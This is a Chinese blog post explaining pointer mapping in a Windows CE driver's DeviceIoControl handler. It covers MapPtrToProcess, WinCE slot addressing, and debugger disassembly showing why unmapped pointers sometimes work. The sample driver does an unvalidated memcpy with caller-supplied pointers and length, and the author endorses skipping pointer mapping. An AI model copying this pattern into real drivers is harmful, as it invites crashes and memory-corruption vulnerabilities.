<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>__try{</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pMap1 =<span>&nbsp; </span>MapPtrToProcess(pcs-&gt;pBuffer1,GetCallerProcess());</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pMap2 =<span>&nbsp; </span>MapPtrToProcess(pcs-&gt;pBuffer2,GetCallerProcess());</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>DEBUG_OUT(1, (TEXT("+FOO_IOControl(0x%x,0x%x)\r\n"),pcs-&gt;pBuffer1,pcs-&gt;pBuffer2));</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>memcpy(pcs-&gt;pBuffer2,pcs-&gt;pBuffer1,pcs-&gt;nLen);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>bResult = TRUE;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>__except(EXCEPTION_EXECUTE_HANDLER){</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>DEBUG_OUT(1,(TEXT("Exception:FOO_IOCTL\r\n")));</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>break;<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><span><font face="Times new roman" size="3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>break;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>default:</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>break;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">这里又很多东西要研究，</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">从应用程序传来的参数有，</span><span lang="EN-US"><font face="Times New Roman"> control code</font></span><span style="font-family: 宋体;">，</span><span lang="EN-US"><font face="Times New Roman">IOCTL_FOO_XER</font></span><span style="font-family: 宋体;">和一个重要的输入参数</span><span lang="EN-US"><font face="Times New Roman">&amp;cs[0],</font></span><span style="font-family: 宋体;">它是一个指针。</span><span lang="EN-US"><font face="Times New Roman">cs </font></span><span style="font-family: 宋体;">是一个结构体，定义在</span><span lang="EN-US"><font face="Times New Roman">FOO.H</font></span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">typedef struct {</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>char* pBuffer1;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>char* pBuffer2;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>int nLen;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">}COPY_STRUCT;</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">而且这个结构体里有两个指针。</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span lang="EN-US"><font face="Times New Roman">DeviceIoControl </font></span><span style="font-family: 宋体;">传过来的指针可以用吗？它包含的两个指针可以直接用吗？</span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3">&nbsp;</font></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">按照</span><span lang="EN-US"><font face="Times New Roman">PB</font></span><span style="font-family: 宋体;">连接帮助文档看，</span></font></p>
<p><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US">The operating system (OS ) manages </span><span style="background: #316ac5 none repeat scroll 0% 0%; font-size: 8.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: white; font-family: verdana;" lang="EN-US">pointers</span><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US"> passed directly as parameters. Drivers must map all </span><span style="background: #316ac5 none repeat scroll 0% 0%; font-size: 8.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: white; font-family: verdana;" lang="EN-US">pointers</span><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US"> contained in structures. DeviceIoControl buffers are often structures that contain data, some of which might be </span><span style="background: #316ac5 none repeat scroll 0% 0%; font-size: 8.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: white; font-family: verdana;" lang="EN-US">pointers</span><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US">. <o:p></o:p></span></p>
<p><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US">You
can map a pointer contained in a structure by calling MapPtrToProcess,
setting the first parameter to the pointer, and then setting the second
parameter to GetCallerProcess.<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span lang="EN-US"><font face="Times New Roman">cs</font></span><span style="font-family: 宋体;">指针已经映射好了，但是它指向的结构里的指针我们需要自己使用</span><span style="font-size: 12pt; color: black; font-family: 宋体;" lang="EN-US">MapPtrToProcess</span></font><span style="font-size: 12pt; color: black; font-family: 宋体;">函数映射。<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; color: black; font-family: 宋体;">这也就是：<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pMap1 =<span>&nbsp; </span>MapPtrToProcess(pcs-&gt;pBuffer1,GetCallerProcess());</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pMap2 =<span>&nbsp; </span>MapPtrToProcess(pcs-&gt;pBuffer2,GetCallerProcess());</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">的由来，可是后面的代码没有使用<span lang="EN-US">pMap1</span>，<span lang="EN-US">pMap2</span>。而是直接使用：<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">memcpy(pcs-&gt;pBuffer2,pcs-&gt;pBuffer1,pcs-&gt;nLen);</font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">而且它还工作了，没有出现<span lang="EN-US">exception</span>。很奇怪。我第一次在一个家伙的代码里看见这种情况，很吃惊，但是它工作的很好，是文档出错了？<span lang="EN-US"><o:p></o:p></span></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">我们来分析一下，看看应用程序的代码：<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>COPY_STRUCT cs[1];</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp; </span>auto char data1[10];</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>auto char data2[10];</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">cs</span><span style="font-size: 12pt; font-family: 宋体;">结构和<span lang="EN-US">data1</span>，<span lang="EN-US">data2</span>数组都是自动变量，存放在堆栈里。假设这个应用程序被加载到<span lang="EN-US">0x18000000</span>位置的<span lang="EN-US">slot</span>里，那么他们的地址都是<span lang="EN-US">0x18XXXXXX</span>。不熟悉<span lang="EN-US">wince memory architecture</span>的可以看看资料，了解一下<span lang="EN-US">slot</span>。当调用了<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span lang="EN-US"><font face="Times New Roman">DeviceIoControl</font></span><span style="font-family: 宋体;">，按照文档的说法，</span><span lang="EN-US"><font face="Times New Roman">cs</font></span><span style="font-family: 宋体;">指针得到了转换，因为从应用程序的进程转到了</span><span lang="EN-US"><font face="Times New Roman">device.exe</font></span><span style="font-family: 宋体;">进程，而</span><span lang="EN-US"><font face="Times New Roman">device</font></span><span style="font-family: 宋体;">进程又是当前的运行的进程，被映射到了</span><span lang="EN-US"><font face="Times New Roman">slot0</font></span><span style="font-family: 宋体;">，系统负责转换</span><span lang="EN-US"><font face="Times New Roman">cs</font></span><span style="font-family: 宋体;">指针。而</span><span lang="EN-US"><font face="Times New Roman">cs</font></span><span style="font-family: 宋体;">包含的</span><span lang="EN-US"><font face="Times New Roman">pBuffer1</font></span><span style="font-family: 宋体;">和</span><span lang="EN-US"><font face="Times New Roman">pBuffer2</font></span><span style="font-family: 宋体;">是没有映射不能直接用的。</span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">事实上，我们传过来的指针根本就是不需要映射，因为他们都是<span lang="EN-US">0x18xxxxxx,</span>在应用程序的<span lang="EN-US">slot</span>里，所以只要<span lang="EN-US">device.exe</span>有访问应用程序的权限，就可以了。而这个权限，系统已经帮我们设置好了。<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">那什么情况下要自己映射呢？<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">如果应用程序在定义<span lang="EN-US"> data1</span>和<span lang="EN-US">data2</span>使用<span lang="EN-US">static</span>关键字，或者使用<span lang="EN-US">LocalAlloc</span>，<span lang="EN-US">HeapAlloc</span>的时候，一定要自己映射<span lang="EN-US">cs</span>里的指针。<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">在应用程序里这样写：<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>cs.pBuffer1 = (char *)malloc(10);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>cs.pBuffer2 = (char*)malloc(10);</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>&nbsp;&nbsp;&nbsp; </span>cs.nLen = 10;</font></font></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">如果不使用</span><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US">MapPtrToProcess</span><span style="font-size: 12pt; font-family: 宋体;">完成映射，那就出现<span lang="EN-US">data abort exception.<o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">为什么呢？<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">因为这些变量都是在堆里分配的，而当应用程序运行时，被映射到<span lang="EN-US">slot0</span>，堆的地址也就是处于<span lang="EN-US">slot</span>的范围内，传递到<span lang="EN-US">device.exe</span>后，<span lang="EN-US">device.exe</span>被映射到了<span lang="EN-US">slot0</span>，这个时候必须要将应用程序的指针映射回应用程序所在的<span lang="EN-US">slot</span>。否则访问的是<span lang="EN-US">device.exe</span>的空间，会发生不可知道的结果。<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">验证一下上面说的地址分配问题。<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">我们这样定义<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 18pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">COPY_STRUCT cs[1];<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>&nbsp; </span>static char data1[10]; </span><span style="font-size: 12pt; font-family: 宋体;">堆里<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>&nbsp; </span>auto char data2[10];<span>&nbsp;&nbsp; </span></span><span style="font-size: 12pt; font-family: 宋体;">栈里<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">这样赋值：<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>&nbsp; </span>cs[0].pBuffer1 = &amp;data1[0];<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>&nbsp; </span>cs[0].pBuffer2 = &amp;data2[0];<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>&nbsp; </span>cs[0].nLen = 10;<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">调试信息：<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">cs[0].pBuffer1 = &amp;data1[0];<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">180112D0<span>&nbsp;&nbsp; </span>ldr<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>r2, [pc, #0xD0]<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">180112D4<span>&nbsp;&nbsp; </span>str<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>r2, [sp, #0x10]<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">读取<span lang="EN-US">&amp;data1[0]</span>使用的是<span lang="EN-US">PC</span>作为基址，而此时的应用程序处于运行阶段映射到<span lang="EN-US">slot0</span>，那么<span lang="EN-US">pc</span>也就在<span lang="EN-US">0~01ffffff</span>范围，我的调试结果是在<span lang="EN-US">0x000112D0+8,</span>使用的是<span lang="EN-US">arm</span>，流水线机制，当前指令地址＋<span lang="EN-US">8</span>才是<span lang="EN-US">pc</span>值。<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">143:<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>cs[0].pBuffer2 = &amp;data2[0];<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">180112D8<span>&nbsp;&nbsp; </span>add<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;</span>r0, sp, #0x20<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">180112DC<span>&nbsp;&nbsp; </span>str<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>r0, [sp, #0x14]<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">读取<span lang="EN-US">&amp;data2[0]</span>采用的是<span lang="EN-US">sp</span>作为基址，<span lang="EN-US">sp</span>在应用程序加载到<span lang="EN-US">slot</span>的时候就确定了的。所以保持了在应用程序<span lang="EN-US">slot</span>的值，处于<span lang="EN-US">0x18xxxxxx</span>范围。<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">我们看到因为<span lang="EN-US">wince</span>的<span lang="EN-US">slot</span>机制，我们有时候需要映射，有时候不需要。所以<span lang="EN-US">wince</span>文档说结构里的指针要映射。毕竟你不知道应用程序怎么写。<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">当然，你可以根本不映射，只要把那个结构屏蔽调，写一个<span lang="EN-US">STATIC LIBRARY</span>给用户使用，自己保证使用正确的地址分配就可以了。上面我说的那个家伙就是这么干的。<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">好了，接着<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">调用：<span lang="EN-US"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>&nbsp; </span>CloseHandle(hnd);<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">程序结束了，完成了一次简单的拷贝。<span lang="EN-US"><o:p></o:p></span></span></p>
